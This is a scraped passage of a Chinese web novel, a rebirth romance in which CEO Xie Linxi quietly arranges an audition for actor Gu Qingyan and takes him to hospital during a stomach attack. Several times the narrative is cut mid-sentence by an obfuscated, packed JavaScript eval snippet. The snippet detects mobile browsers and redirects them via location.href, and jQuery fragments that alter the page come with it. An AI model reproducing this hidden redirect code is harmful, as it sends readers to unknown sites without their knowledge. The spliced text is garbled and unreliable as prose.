那人恨不得将脖子都牢牢束好了,每一寸皮肤都规矩的包裹在布料之下,生怕别人误会一点。 姜可似乎觉察到了谢临溪的视线,不动声色的往他身边靠了点,扬起脸笑道:“谢总,我是来早秦导演谈戏的,您这就走了?我送送您?” 谢临溪冷淡回应:“不用了,借过。” 投资合同谈好后,就到了演员的选择阶段。 除了几位内定的主演,还有许多重要配角需要敲定,而谢临溪心想:“我要不要给顾青衍递一个?” 可他和顾青衍又不熟,酒店那一夜乱七八糟,谢临溪以什么样的身份给顾青衍递本子? 总不能是对那夜恋恋不忘,怀念手感,贼心不死想要包养的大佬吧? 那顾青衍非要气的劈了他。 谢临溪左思右想,摸开了小说剧情。 小八在他的肩头探头探脑:“宿主,你在干嘛?” 它的宿主是个工作狂,每天都在看资料看报表,自从把谢哲韬送进去后,根本不关心剧情走向,更不用说主动研读原著小说了。 谢临溪:“谢哲韬包养顾青衍的时候,有没有给过他资源。” 小八:“有的呀,第七章第二十五段。” 谢临溪哗啦啦的翻过去,果然看见一段,说是谢哲韬对新晋的小情人很满意,某日温存过后,愉快的给了一个网剧资源,而顾青衍感激又开心,当即给了谢哲韬一个拥吻,两人天雷勾地火,很快又滚到了一起。 谢临溪:“啧。” 小八小心翼翼的问:“宿主,你的表情,有点不屑啊。” 谢临溪冷淡道:“我就是想说,谢哲韬这个霸总,小说里当的都这么low,网剧资源也叫资源?” 小八:“……哦。” 谢临溪按了按额角,继续:“也就是说,谢哲韬应该给顾青衍资源,现在他没有了,无论是为了美满度还是为了剧情,我都该给他资源。” 宿主如此上道,小八疯狂点头:“对的,宿主,对的!排完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265404|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网剧后,顾青衍有了第一波粉丝,他的美满度要涨到二十点才对!” 谢临溪心道:“顾青衍有那么容易满足?” 一个小小的网剧配角,他的美满度就能涨到二十点? 比他认识的那个顾青衍,可好打发多了,现实中的顾青衍有多麻烦,谢临溪可是领教过的。 作为重要投资人之一,除了秦啸前已经敲定的几个角色需要商议,剩下的谢临溪随便给,他当即联系了顾青衍上层公司的老总,将本子递了过去。 于是,某条传话链又开始工作。 老总联系了直属下属,直属下属联系了分管公司下属,分管公司下属联系了李安迪,李安迪诚惶诚恐的将资料发送给了顾青衍。 顾青衍刚刚下戏。 他脱掉过于沉重的戏服,卸完妆,点开手机,便收到了经纪人的新消息。 李安迪最近两天老实的过分,一句狠话都不敢说,倒是一日三餐饭店,和个伺候主子的嬷嬷似的,早上发一遍:“您吃了吗?”,中午发一遍:“您吃了吗?”,晚上又发一边:“您吃了吗?” 顾青衍不堪其扰,起了一身鸡皮疙瘩,非常想将他拉黑删除,克制又克制,才忍下了这股冲动。 可这回他一点开,却是个剧本。 自从签约,除了擦边露肉的戏,李安迪从来没给他发过剧本。 《鹤唳》,男五试戏邀约。 顾青衍呼吸一窒,却没立刻下滑,看角色和剧本,而是停在封面页,仔细看电视剧的投资方。 旋即,他的手指顿住了。 两个大投资方,没有一个叫耀世。 不是谢临溪投资的。 顾青衍抿唇搜索。 其中一个投资方是圈内老牌资本,旗下有许多艺人,比如新晋男团的姜可,比如偶像剧中的演技派郭严,另一个则名不见经传,从未听说过,是个查不到的皮包小公司。 “……” 他轻轻叹了口气。 谢临溪和他,总归不是一路人。 这些天里,顾青衍时常想将衣柜里的西装还回去。 那西装裁剪得当,料子极好,五位数的价格,放在他衣柜中,和普通衣服混在一起,像一位放置在地摊的奢侈品,亦或者误入酒吧的贵公子,格格不入的。 那衣服娇贵的很,不能水洗,不能折叠,在顾青衍这里,甚至没有保养它的条件,他也不能穿着出去,那么贵的牌子,被同事经纪人注意到,会引起不必要的风波。 可是,他也总不好平白占别人五位数的便宜,顾青衍扪心自问,在谢临溪那里的表现已经很糟糕了,又是意图勾引,又是医院误会,他想,至少不要留下贪财爱占便宜的印象。 谢总随手送出了这件衣服,毫不在意的样子,他却非要联系谢临溪,非要还回去,仿佛别有所图似的。 好像他因着那一晚的善待,眼巴巴的想自己贴上去,想换取些什么。 太自轻自贱了。 于是,那西装至今好好的收在衣柜里,顾青衍想,找个周末放在耀世的前台,让前台转交给谢临溪。 这时,手机又叮了一声。 李安迪:“明天下午两点影视城试戏,看见我的消息了吗?” 顾青衍回复:“嗯,我知道了。” 15.牛津鞋 第二天傍晚,顾青衍出现在了面试现场。 他依旧穿着一身廉价西装,手中却提着个手提袋,沉甸甸的,放着谢临溪的那套。 虽然投资公司没有耀世,但顾青衍总觉得,谢临溪应该来。 他昨天追问了李安迪,剧本到底是从哪儿来的,李安迪支支吾吾半天,只说是公司领导给的。 顾青衍想,怎么可能是公司领导。 他加入这个公司两年,除了小成本擦边的片子,李安迪和公司从来没有给过他资源。 从始至终,他认识的,手中有资源的,只有谢临溪一个。 顾青衍想,他应该将西装还给谢临溪,再好好的谢谢他,顺便说清楚,那天的事是他有错在先,是他率先黏了上去,谢临溪不必为此负责。 于是,当他站到导演组面前,开始自我介绍,视线遍掠过了整个评审团。 并没有谢临溪。 顾青衍轻声吸气,不知道是失望,还是庆幸或放松。 角色来的突然,顾青衍没能好好准备,又一路候场候过了晚饭点,胃部稍稍不适,现在的他,并不能将演技发挥到最好。 可他想在谢临溪面前发挥到最好。 或许是两人的第一次见面太过狼狈,那一晚谢临溪西装革履,连五指都包裹着手套,而顾青衍却潦草凌乱,腰带散开,在对方手中溃不成军;又或许是那一日谢临溪客气温和,正直的不含丝毫邪念,矜贵优雅的如教科书一般,和他简直是两个世界的人,而他却黏糊糊的贴上去,活像想走歪门邪道,赶着去给人玩的,那种巨大的落差刺痛了他,顾青衍急于在谢临溪面前证明,他其实并没有第一天表现的那么糟糕。 至少,他还有可取之处,至少,他不贪慕谢临溪的权势,至少,他是个好演员。 秦啸前对着名册,上下打量他:“顾青衍是吧?” 顾青衍礼貌颔首:“是。” 这只是男五的面试,相比几位主角,并没有那么重要,制片组来得稀稀拉拉,导演组倒是到齐了。 秦啸前:“你稍微表演一下吧,就表演教敌方公子读书那一段。” 场地上有东南西北四个摄像机,都对准了顾青衍,画面连接到了秦啸前面前的电脑上,能帮助他全方面判断演员上不上镜,各个角度表现力如何,这些记录会存档保留,供导演组参考,直到重要角色全部选好。 顾青衍的男五明面上的身份是个国文老师,给敌方的公子教书,实际上偷偷传递情报,对他的要求就是文质彬彬,符合旧时代文人的表现。 顾青衍颔首:“好的。” 他虚虚往空中一握,姿态陡然转化,如同凭空捏住了书卷,接着微微向前请倾身,如同那里有一个正在倾听他说话的学生。 无实物表演,从来是最难的。 顾青衍在空中一撩,如同旧时代的文人提起长袍,他施施然在剧组准备的塑料凳上落座,姿态端庄,一举一动皆是文士风范:“少爷,今天我们要念的是五经中的《中庸》,请将书翻开,请您先朗读一遍。” 他顿了十秒,似乎在给对方反应时间,而后才道:“这里,句读错了,该是这样断句的。” 他执着书卷朗读,不时与空气互动,时而点头,时而叹气,做足了老师的架势。 表演到一半,顾青衍眉头一跳,脸色一凝,虚握着书卷的手不受控制的伸向胃部,有很快控制住,若无其事的继续演绎。 秦啸前坐在屏幕后,没察觉这个小细节,只暗暗点头。 剧组在剧本中提供了《中庸》的古文,特意没有给句读,之前试戏的几位演员都没有注意这个细节,临场来读的时候磕磕绊绊,顾青衍是第一个全部断句都对的,读的十分流畅,要不是古文功底很强,要不是特意查过了。 作为导演,他从来不用肉眼判断演员,只看监视器的画面,以此判断拍摄效果,所以他面试经常全程不抬头,也没有人注意到,秦啸前拖出了一个聊天框。 “谢总,你还没上完厕所吗?你介绍来的这个小朋友要表演完了,你不来看看效果?” 谢临溪坐在停车场的车里,打字回复:“不了,我也是外行,就不掺和了,您看效果行不行。” 他默了两秒,又问:“顾青衍表演的怎么样?” 秦啸前发了个大拇指:“好,相当好,演技贼漂亮,谢总眼光毒辣。” 谢临溪礼貌:“您认可就好。” 他手上打着您认可就好,心里想得却是:“那可不,你也不看看是谁。” 这可是顾青衍,他的死对头,后来的影帝,奖拿到手软,被谢哲韬那个蠢猪磋磨了一顿,都能顶着胃癌把耀世拖下水,整个江城投资界,唯一一个让谢临溪高看一眼的人物,他要是不行,那还有谁行? 作为宿命的对手,谢临溪绝对认可顾青衍的实力。 秦啸前一遇到合适的演员就兴奋,一兴奋就话多:“哎呦,你说说你介绍的小朋友这么好,你刚刚跑什么?我还以为他太差了,你没脸看呢。” 谢临溪:“?” “我哪里跑了?” 秦啸前:“你还没跑?前面那么多人,你都看看好好的,轮到他时突然去上厕所。” 谢临溪:“肚子不舒服。” 秦啸前:“半个小时了,还没好?” 谢临溪:“……便秘。” 秦啸前:“行行行,那你先便着,他面试结束了,非常好,就他了。” 谢临溪:“行。” 他又在车里坐了五分钟,觉得顾青衍应该已经走了,这才道:“现在面到谁,我回来了。” 有前世的经验在,谢临溪天然知道剧中谁的表演可以,谁的表演不行,他来给秦啸前把关,将风评特别差的那几位提前换掉,省的影响播放率。 秦啸前:“这么快,便秘好了?” 谢临溪:“……刚吃了泻药。” 他正准备解锁下车,手都摸到车门了,远远却见有人个往这边走来,手中还提着个手提袋。 谢临溪:“¥%#%&¥#@。” 怎么会是顾青衍? 大门在另一边,顾青衍又没车,来停车场做什么? 谢临溪的车是辆保时捷卡宴,四周玻璃有防窥效果,外面看不见里面,可最大的前挡风玻璃为了透光度,并没有做防窥处理,如果顾青衍从外往里看,坐在主驾驶的谢临溪就像盘菜似的一览无余。 为了防止和死对头隔着玻璃对望的尴尬场面发生,谢临溪默默解开了安全带。 他趁着顾青衍还在另一边,悄悄的开门,悄悄的下车,然后悄悄的坐上了后座,又悄悄的关上了门。 所有动作结束,车门落锁的那一刻,谢临溪松了口气。 他可不想给顾青衍解释,他为什么出现在了面试现场。 这时,手机震了一下,弹出消息。 秦啸前:“到下一个面试的了,谢总你人呢。” 谢临溪:“便秘。” 秦啸前:“又便秘?您不是刚吃了泻药?” 谢临溪:“……买到假药了,没用。” 秦啸前叹惋:“哎这年头,假药真是猖獗……说起这个,我知道一个看中医的,专门治理肠胃不调,药到病除,谢总要是有需求,我将大夫推给您。” 谢临溪:“……好的,谢谢,麻烦了。” 几秒钟后,谢临溪的微信弹出消息。 “秦啸前” 向您推荐 “AAAAA肠胃调理专家” “……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272462|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢临溪关了手机。 他坐在车后排,透过防窥玻璃,默默的看向旁边的顾青衍。 不知道为什么,顾青衍走的很慢。 他一手不知道提着个什么东西,一手压在小腹前,豆大的汗珠往下滚,步履艰难,面色也惨白的历害。 谢临溪心道:“胃疼?” 他抬表一看,7:40。 试镜的人多了,总是有各种各样的意外,顾青衍原定时间4:30面试,前面你耽误一下,我耽误一下,你讨论一下,我再讨论一下,拖着拖着,这就拖到了七点。 而顾青衍恰好有胃病。 谢临溪心道:“没有去医院复查,也没有好好吃饭吗?” 他嘱咐过顾青衍的经纪人的。 就在谢临溪默默看着他的时候,顾青衍越走越近,越走越近,谢临溪将手机调到静音,默默坐在车中,连呼吸都放轻了。 而顾青衍像是难受得狠了,也疼得狠了,路过卡宴时,他伸手扶住车身,停顿了片刻,有些急促的呼吸起来。 声音很轻,很小,主人竭力将所有气息压在嗓子里,只剩下哽咽一般的鼻音。 谢临溪心想:“停车场又没有别人,喘息声大一点会怎么样?顾青衍怎么人前人后都那么倔?” 窗外,顾青衍还扶着玻璃行走,他走过这辆车,最后像是受不了了,一手捂住胃,靠在车边,蹲着蜷缩了起来,双手抱着那不知道装了什么东西的提袋,护住了胃部。 谢临溪:“……” 停车场四下无人,空气安静的可怕,连虫鸣鸟叫也变得清晰,若有若无的喘息如同在耳边炸响,让人心烦意乱。 谢临溪拿出手机,划了划通讯记录,找到了一个号码。 他之前找顾青衍他们公司老板的时候,老板一层层吩咐下去,最后顺手把李安迪的电话给他了,谢临溪也没什么事儿,根本没想着联系李安迪。 但现在,他也顾不得许多,哒哒哒的敲了几行字。 “我是之前找人联系过你的人,顾青衍在影视城停车场,胃病犯了,你打电话问问情况,看他需要什么帮助。” 李安迪也是人精,瞬间就知道他是那位不知名大佬,几乎秒回:“诶诶,好嘞,这就联系。” 两秒过后,顾青衍的手机响起,他忍痛伸手在上衣摸索,拿出来瞧见是李安迪,便抿唇挂了。 疼成这样,他实在没有精力应付经纪人了。 谢临溪蹙眉,下一秒,李安迪的信息刷了过来。 “您看这,他不肯接我电话,怎么搞啊?” 谢临溪心烦意乱:“所以他这段时间没有做检查,没有好好吃饭?” 李安迪小心翼翼:“这,我也管不了顾青衍,他天天跑剧组,我不知道他吃没吃饭。” 谢临溪不想看这些,只问:“派车来接,送去医院,需要多久?” 李安迪更加小心翼翼:“阿这,公司配置有限,现在没有空余的车,紧急调的话,可能需要一个小时。” 一个小时,黄花菜都凉了。 谢临溪心道:“算了。” 顾青衍要是误会他递资源、想包养就误会吧,要是真让他挨上一个小时,美满度不知道掉到那里去了,就算是为了完成任务,谢临溪也得帮。 他摸出车钥匙,垂眸按下按键,下一秒,卡宴车灯亮起,车门自动解锁,发出清脆的开合声。 顾青衍显然没想到靠着的车有人,吓了一跳,旋即浑身僵硬着紧绷起来。 他的视线中,出现了一双鞋。 纯黑色,低跟,头层牛皮,手工剪裁,品牌极其昂贵,哪怕出现在最正式的商务会谈中,也挑不出错处的牛津皮鞋。 顾青衍认得这双鞋。 16.辩解 顾青衍一顿,还没来得及反应,视线中又出现了一只手——缎面西装的袖口订着三枚扣子,都一丝不苟的扣好了,纯白挺阔的衬衫恰好露出西装半厘米,手腕上是闪着银白光泽的钛金腕表,再往前,手指修长,骨节清晰分明。 顾青衍认识这双手,在某一个难以回顾的晚上。 下一秒,谢临溪单膝半蹲下来,清贵俊美的面容在顾青衍面前瞬间放大,他朝顾青衍伸出手,指尖静静悬停在顾青衍面前,浅灰琉璃色的眸子平静的注视着他:“很疼?能扶着我的手站起来吗?” 顾青衍显然没想到会在这里看见谢临溪,盯着他的眉眼出神了几秒,迟疑:“……谢总?” 谢临溪:“是我,你怎么样了,能站起来吗?” 说这话时,他的手正以一个极优雅的姿态停在顾青衍面前,如同中世纪舞会上邀请舞伴跳舞的贵族绅士,正安静等候他握上去。 “……” 顾青衍手心满是冷汗,他盯着谢临溪干净清爽的掌心和那一看就十分昂贵的腕表看了一会儿,手指微蜷,没抬手。 ——顾青衍记得,那一晚谢临溪带了手套,他应该是很爱干净,不喜欢和人有这种接触的。 两秒停顿后,谢临溪蹙起眉头:“疼得站不起来?” 顾青衍这人谢临溪了解,倔得要死,天生学不会低头,最怕别人看见他狼狈的样子,如果不是疼得狠了,是不会这样毫无形象蹲在他面前的。 他如果不肯站起来,那一定是不能站起来了。 谢临溪心道:“是脱力了吗?” 顾青衍还没来得及反应,谢临溪忽然伸手,一手拉过顾青衍的手,接着抄起他的肩膀,手上一个用劲,直接将人带了起来。 顾青衍:“!” 他本就头晕眼花,骤然起身,血液流通不畅,眼前更是一阵发昏,下意识往旁边踉跄两步,而谢临溪的手还扣在他的肩头,微微用力,便将人扣住,强行接管了顾青衍的大半重量。 这个动作后,两人都顿了一秒。 由于惯性作用,顾青衍几乎是半摔进了谢临溪的怀里,一手抵在他的胸口,额头半靠着他的肩头。 “……” “……” 谢临溪维持着这个古怪的姿势,没偏头看他,只冷淡道:“上车吧,我带你去医院。” 他动作僵硬却迅速,一手拉开副驾驶的门,一手托着顾青衍的膝盖,一个用力,将他摆进了车中,顺手扯过安全带系好,砰的关上车门,大步流星的绕到另一边,领带和西装下摆随风翻飞,最后拉开车门,坐上主驾驶。 谢临溪垂眸设置导航。 顾青衍略有些难耐的蜷住了上腹。 刚刚短暂的惊异压住了疼痛,现在坐上车,痛感卷土重来,他抵着车座,冷汗津津,手指死死攥着安全带。 谢临溪导航设置到一半,看着自家爱车可怜的、被抓到变形的安全带,冷不丁问:“要毯子吗?” 顾青衍的大半的注意力都用来对抗疼痛,一时没听清谢临溪说什么,只微偏过头:“……嗯?” 这一声迟疑又犹豫,尾音拖得有些长,还带着浓浓的后鼻音,活像什么事情之后似的。 谢临溪:“……” 他放弃了继续询问,单手拨开前车储物格,将一床厚重的毛茸毯子拿了出来,也没看顾青衍,只一手将毯子递了过去:“给。” 顾青衍接过毯子:“……谢谢。” 他微微偏头,谢临溪正直视着前方,面无表情,嘴唇抿成一条直线,只留个顾青衍一张冷峻锋锐的侧脸。 谢总的侧脸完美符合三高四低的美学要求,额骨平直,眉弓饱满,鼻背挺直,鼻尖表现点微微下翘,配上那双浅琉璃灰的眸子和淡漠的表情,冷肃到了极点。 顾青衍抱住毯子:“谢总,我……抱歉。” 谢临溪:“……抱歉什么。” 他倒不是故意冷脸,只是死对头脸色煞白,满头冷汗的坐在副驾驶,唇中不时发出压抑的气音,仿佛那一晚重现了似的,谢临溪被迫回忆起当时的感受,一时心如死灰,实在不知道该摆出什么样的表情,只能面无表情。 顾青衍抿唇:“我给您添麻烦了。” 谢临溪已经设置好了导航,正点火启动,他心想:“顾青衍你还知道啊,有病不去查不去治,害我在停车场捡你,你真是麻烦死了。”,嘴上却淡漠道:“没有,顺手相助,不算麻烦。” 死对头坐在旁边,谢临溪身形紧绷,他微靠着椅背,仪态如松柏一般,目不斜视的看着前方,连转方向盘的动作都变得干脆利落,随着手腕微微转动,卡宴尾翼甩出漂亮的圆弧,汇进主干道,没入了车流之中。 静默在车厢内蔓延。 顾青衍抱着毯子,身体放松下来,剧烈的不适略有缓解,他攥着安全带,唇瓣开合几次,略有些丧气道:“谢先生,今天的情况,我,我能解释一下吗?” 谢临溪目光落在远方的主干道:“顾先生,请说吧。” 顾青衍迟疑道:“谢先生,我知道我的解释听上去有些荒谬,但……我今天胃病忽然发作,停在您的车边,是一个意外。” 谢临溪心说他知道是意外,他特意把车停停车场,就是为了避开顾青衍的走的前门,结果忘记了停车场后头就是公交站,从这里走还更近一些,他要早知道顾青衍坐这辆公交车,他就停影视城外的停车场了,结果千防万防还是撞上了,差点没把他魂吓出来。 但别管撞不撞上,只要顾青衍不追究这剧的投资方是谁,不想歪误以为谢临溪要包养他,一切好说。 他不说话,顾青衍就盖着毯子继续:“我一直有胃病,不定时就会发作,今天试戏太晚了,没吃晚饭,这才发作了。” “……至于刚刚,我刚好停在您的车前,我并不知道那是您的车,也并不知道车上有人,车灯全暗了,我看不见里面。” 谢临溪心说车灯就是他本人灭的,可不是全暗的,嘴上却道:“嗯,理解。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289268|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾青衍:“然后,我站起来没站稳,是因为蹲久了有点晕,也不是刻意要撞进您怀里的……” 谢临溪并不想回忆刚刚的场面,打断:“我明白。” 顾青衍不说话了。 说到这里,连顾青衍本人都已经无法相信他给出的解释了。 停车场那么多辆车,他恰恰停在了谢总的车旁边;一天有那么多时间,他恰恰在那个时候发胃病,又恰恰被谢总看见,谢总好心扶他起来,他又恰恰一个踉跄,撞进了谢总怀里。 世上哪有这么巧的事? 顾青衍盖着毯子,蜷缩在副驾驶的角落离谢临溪最远的位置,脊背抵着冰冷的车门,顿了许久,才继续道:“谢总,抱歉,我知道这听上去太令人难以置信了,如果我知道我会打扰到您,我不会靠着您的车休息的,我的解释可能很像狡辩,但我真的没有……” 谢临溪的血压开始升高了。 他知道顾青衍要说什么,上次顾青衍说这话差点没把他呛死,现在他还开着车呢,顾青衍再说那两个字,谢临溪害怕手一滑把车开沟里,他无声啧了一句,从后视镜里看了眼死对头毫无血色的,满是冷汗的脸,毫无征兆的开口打断道:“不靠着车休息,你想靠到哪里去休息?” 顾青衍一愣。 “你靠着哪辆车休息,这根本不是问题,”谢临溪道,“问题是,我记得你做过体检,报告显示你的胃有慢性胃炎,提醒复查的短信甚至发到了我的手机上,你应该也收到了吧?” 顾青衍:“……是的。” 不知道是出于心虚还是病痛,今天的顾青衍虚弱的过分,也乖的过分,他的头发全被汗水打湿了,软塌塌的黏在额头,谢临溪说什么答什么,一副任人捏圆搓扁的样子,丝毫没有后世死对头满身带刺、阴阳怪气的模样。 谢临溪移开视线,没再看后视镜,而是盯着远方的路,公事公办道:“顾先生,拍戏是高强度的工作,作为艺人,这点你应该比我清楚,你需要对自己的身体负责,同时,我也明确的说过,那天谢哲韬踹到了你,伤害了你,我会给与补偿,并负责你的一切后续治疗,当然包括胃部的疾病,否则,如果后续出了问题,我会愧疚。” 这倒不是场面话,谢哲韬带来的伤害,谢临溪和耀世当然应该负责,一方面是出于道德,另一方面,他可不想死对头多年后罹患胃癌,来和他翻旧账,还得耀世的股票再蒸发一百亿,又或者美满度不达标,让中央管理局收回这次重生的机会。 “……” 顾青衍再次抿唇:“抱歉。” 这时,谢临溪一打方向盘,开进了医院的地下停车场。 他率先下车,又绕到对面,替顾青衍拉开车门,朝顾青衍伸出手:“顾先生,现在能站稳吗?请扶着我吧。” 顾青衍胃部的剧痛稍稍和缓,但依旧十分难受,腿也虚软无力,他看着面前优雅得体,无一处不矜贵的谢临溪,迟疑片刻,握住了他的手臂。 “谢谢。” 17.看病 谢临溪将顾青衍安置在大厅休息区,自个去挂了号。 医院晚上值班医生不多,就那么几位,好在病人也不多,前前后后不到五分钟。 他将号挂完,返回休息区,顾青衍靠在椅子上,依旧是蜷缩的姿势,他像是又疼又疲倦,脊背抵着铁质椅,正在闭目养神。 谢临溪坐到他身边,不经意偏头,打量了他一眼。 车子里灯光昏暗,什么都看不清,医院白炽灯一打,谢临溪才发现顾青衍脸色白的历害,黑发濡湿了贴在额头上,一丝一缕的,唇角给他咬了个小破口子,还没完全愈合。 狼狈极了。 谢临溪移开视线,没再看他。 二十分钟后,轮到顾青衍看诊。 值班医生是一位中年秃顶的大夫,先是看了看上次的胃镜结果,又问了两句顾青衍的症状,诊断道:“应该是胃痉挛,发作的比较急。” 下了诊断,医生就开始开药写病历,键盘哒哒的操作着。 顾青衍疼的抽气,话也说不出来,只好由谢临溪代他询问。 谢临溪:“需要做进一步检查吗?” 医生:“才做过胃镜不久,不需要。” 谢临溪:“需要住院挂水?” 医生:“也不需要,不是很严重的疾病,开两剂抗酸剂就行,一般也就自愈了,如果后续反复,再来医院。” 谢临溪:“有忌口吗?” 医生:“忌辛辣油腻,吃点好消化的东西。” 他事无巨细,将该问的都问完了,顾青衍只管在一旁抽气,话也插不上。 就这么一会儿功夫,顾青衍又流了一背冷汗,医生看了眼他惨白的脸色,摇头叹气道:“年纪轻轻的,怎么胃的状态这么不好?” 这话谢临溪没法接,只是垂眸凉凉的看了顾青衍一眼。 他也很想知道,后世华星的总裁,害他丢了一百亿的顾总顾青衍,是这么把自己搞得这么狼狈的。 顾青衍:“……工作比较忙。” “年轻人工作忙也要注意身体啊,按时吃饭按时睡觉。”医生打出药单,“你这个情况是要注意饮食的,多养养,压力也不要太大了,保持好心情,否则容易复发的。” 说着,他转向谢临溪,将药单递给过去:“你是他哥哥吧?要看着点他,照顾着点,现在这年轻人啊,生活作息都一塌糊涂的,喏,药在这里,去缴费吧。” 也不怪医生认错,半夜陪着来医院,又问的详细,怎么看都是家里人的关系。 顾青衍嘶了声,想伸手去拿药单:“不,不是……” 不是哥哥,不需要谢临溪缴费,更不用谢临溪照顾,他和谢临溪萍水相逢,虽然有点不清不楚的过往,但那是意外,谢临溪不欠他什么,这回陪着来医院,也纯粹是谢总人好。 谢临溪将药单举高了一点,顾青衍现在说话和蚊子叫似的,声音有气无力,谢临溪懒得搭理他,只问:“按这个开药,今晚吃完就没事了吧?” 医生也没管顾青衍,在他看来,不在乎自己身体的年轻人,不管什么理由借口,都还是要批评教育的,只对着谢临溪:“对,一楼缴费后左拐药房,哦对了,他这个情况最好来复查,你也看着点。” 顾青衍:“不是……” 谢临溪:“行,我知道了,如果后续有问题,再来复查。” 顾青衍:“我……” 医生:“千万要记得饮食规律,这个是最重要的。” 谢临溪:“好,明白了。” 这两人一来一往,完全没有顾青衍插话的机会。 顾青衍指尖捻了捻衣摆,不说话了。 诊断完成,谢临溪又一伸胳膊,示意顾青衍搭上来:“走吧,带你去休息区。” 顾青衍:“……” 他只得垂眸搭了上去。 他胃疼的历害,走也走不动,只能眼睁睁的看着谢临溪去缴费回来,然后和他一起上了车。 谢临溪拧开保温杯,将药片拆了,和保温杯一起递给顾青衍:“喝吧,喝完了回去喝点粥,晚上应该就不难受了。” 自从前世车祸重伤,谢临溪就养成了喝热水的习惯,和个老干部似的,常常带着保温杯。 顾青衍盯着保温杯的杯沿看了一会儿,却没动。 这是谢临溪的保温杯,他应该喝过。 谢临溪转动方向盘:“我每晚都洗,今天还没来得及喝,喝吧。” 顾青衍:“……不,我没有这个意思。” 他有点想要解释,却不知从哪里开始解释,于是一仰头,将药片吞服了。 谢临溪:“你家的地址告诉我,我送你回家吧。” 顾青衍飞快的报了个地址。 谢临溪点开导航定位,是一片老小区,小区里全是握手楼,属于拆迁时代遗留的钉子户,条件一般,胜在价格低廉。 四十多分钟后,谢临溪停在了入口。 这地方别得没什么大问题,就是道路狭窄的很,谢临溪这辆车又挺大,硬开进去容易剐蹭。 顾青衍喝了药,苍白的脸色终于好转了些,谢临溪下车替他拉开车门,顾青衍便道:“谢总,您停在这里就可以,今天麻烦了,我走进去就可以,实在不好意思,谢谢您。” 话说的官方又客气,谢临溪也想回句客套话,可还说说出口,有个靠近车门的袋子,忽然啪唧一声,从车上掉了下去。 这玩意是顾青衍的,谢临溪也不知道里面有什么,只是刚刚顾青衍疼的难受的时候,似乎想抓个东西护着胃部,就将这玩意牢牢按在上腹,连着毯子一起裹了进去。 考虑到顾青衍现在头晕眼花,也不知道弯腰捡东西会不会栽倒,谢临溪绅士的弯腰,想替顾青衍捡起了袋子。 却见顾青衍脸色一变,忽然急急伸手,几乎要从车上栽下来:“谢总!” 那模样,活像谢临溪要抢他宝贝似的。 谢临溪已经捡起了袋子,微微一愣,心头有几分古怪,想着:“什么东西,值得顾青衍这么护着?” 他下意识的一低头—— 只看见了一块黑色的布。 ……什么玩意? 却见顾青衍完全僵在原地,急急伸过来的手顿在半空中,连脸色也白了几分。 谢临溪:“?” 不知道为什么,他感觉死对头忽然泄了口气,连头顶的碎发都垂下来,有点蔫蔫的。 虽然刚才就很蔫,但现在更蔫了。 “……” 顾青衍知道袋子里是什么,袋子里是谢临溪的西装。 他带着这件衣服,就是想将它还给谢临溪,可他他刚刚意识昏沉,又疼的历害,下意识想捂个东西,将这袋子护在腰腹护了一路,至今那衣服布料上还带着他的体温,或许还沾染了汗味。 尤其今日在停车场,他表现的那么恰好,现在从袋子里拿出谢临溪的衣服,说要还给谢临溪,还是抱了一路的,古怪又暧昧的,倒像是坐实了图谋不轨,想要勾引谢临溪。 但是,现在谢临溪已经看见了。 在对方平静的视线中,顾青衍一咬牙:“谢总,这里是你的衣服,上次借给我穿的,我这回带来,是想哲看试镜你来不来,趁机还给你的。” 谢临溪一愣。 那袋子给顾青衍抱宝贝似的抱了一路,牢牢压在小腹上,护在毯子里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295625|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还以为是什么,合着是他的西装? 顾青衍的手指无声收紧了,正想要解释,又听谢临溪问:“要披着吗?” 顾青衍:“什么?” 谢临溪指了指袋子:“西装外套,要披着吗?现在很冷。” 刚刚顾青衍全程都披着毯子,可下了车,当然不能披了,一冷一热的容易感冒,江城最近正在倒春寒,昼夜温差大,顾青衍为了上镜,又特意挑选了件薄款的西装外套,根本不防寒,加上脊背上全是冷汗,这里离他家还要走二十分钟,晚风一吹,怕是要病上加病。 “……” 